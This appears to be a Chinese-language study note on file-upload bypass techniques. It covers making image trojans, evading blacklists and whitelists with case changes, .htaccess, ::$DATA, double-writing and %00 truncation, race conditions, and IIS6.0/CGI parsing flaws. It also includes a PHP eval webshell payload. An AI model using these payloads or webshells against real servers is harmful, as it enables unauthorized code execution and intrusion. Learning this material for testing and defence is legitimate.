制作图片马
图片码的制作很简单,写一个一句话木马放在txt文件,然后找一张图片越小越好,放在同一个文件夹,然后在文件夹打开cmd,执行命令
copy 1.jpg/b+2.txt 123.jpg (将1.jpg和2.txt合并为123.jpg)
图片马可以很好的绕过内容类型和文件头
前端验证
前端验证直接抓包修改后缀名即可
后端验证
黑名单绕过
如何判断是黑名单还是白名单,上传文件的时候抓取数据包把后缀名随便改为.abcd,查看是否能上传,如果能上传就是黑名单,如果不能就是白名单,白名单只允许上传什么
- 黑名单机制不靠谱,如果过滤的不全是可以绕过的
如:
能被解析的文件扩展名列表
php php3 php4 phtml (这些都是会被解析为PHP的)
asp asa cer aspx
jsp jspx jspf
exe exee
- 大小写绕过
如:
php 可以改为 PHp
- (.htaccess)文件绕过
htaccess文件提供了对目录改变配置的方法,在一个特定的文档目录中放置一个包含一个或多个指令的文件,以作用于.htaccess功能,这个功能是默认不开启的。
列如:
AddType application/x-httpd-php.jpg//这个指令代表着.jpg文件会当做php来解析
创建一个txt文件,把文件后缀名改为.htaccess,有些系统不支持这样的命名必须要输入文件名才能更改,我么可以使用cmd更改后缀名
打开cmd输入 ren 1.txt .htaccess(把1.txt重命名为.htaccess,注意txt后面有个空格)
然后我们把.htaccess文件上传到图片上传的位置,在上传图片的时候,jpg的图片就会被当做php解析
- 文件流绕过
1.php::$DATA
- 双写绕过
1.pphphp
- 文件后缀空格绕过
1.php (1.php空格) //在windows下会帮你把空格去掉
- 文件后缀点绕过
1.php. //跟空格绕过一样
- 构造文件后缀绕过
构造1.php. .//首先他把文件末尾的点删除,在首尾去空,最后变成了1.php.
白名单绕过
- %00截断和00截断绕过
假如1.php%00.jpg 传参之后,有些过滤是直接匹配字符串,他匹配到的结尾是.jpg,然后允许上传,但是php的函数去执行的时候读取到0x00(%00)认为结束了,那么这个文件就变成了1.php
PHP 5.3.29版本下可以使用
1.php%00.jpg
00截断跟%00是一样的,唯一的区别是%00有url解码,00是post传参没有。
1.phpa.jpg //在Hex里边吧a的ascii码该为00即可
- 二次渲染绕过
当上传图片马的时候,图片被二次渲染了,里面的一句话木马就会没有。
我们可以使用gif动图,先上传一张gif动图,在把他下载下来,拿来跟没上传前的图片对比查看哪里没被二次渲染就在哪里写入一句话木马
- 条件竞争绕过
如果文件是先上传,然后检测,在删除,那么就有可能存在条件竞争
<?php file_put_contents('1.php','<?php eval($_REQUEST[1])>')?>
- IIS6.0解析漏洞
1.文件畸形解析漏洞
asa cer cdx 都会被当做asp解析(默认配置)
2.IIS6.0在处理含有特殊符号的文件路径时会出现逻辑错误,从而造成文件解析漏洞
test.asp;.jpg //当做asp进行解析
test.asp/1.jpg //当做asp进行解析
- CGI解析漏洞
在正常的.jpg后面加/.php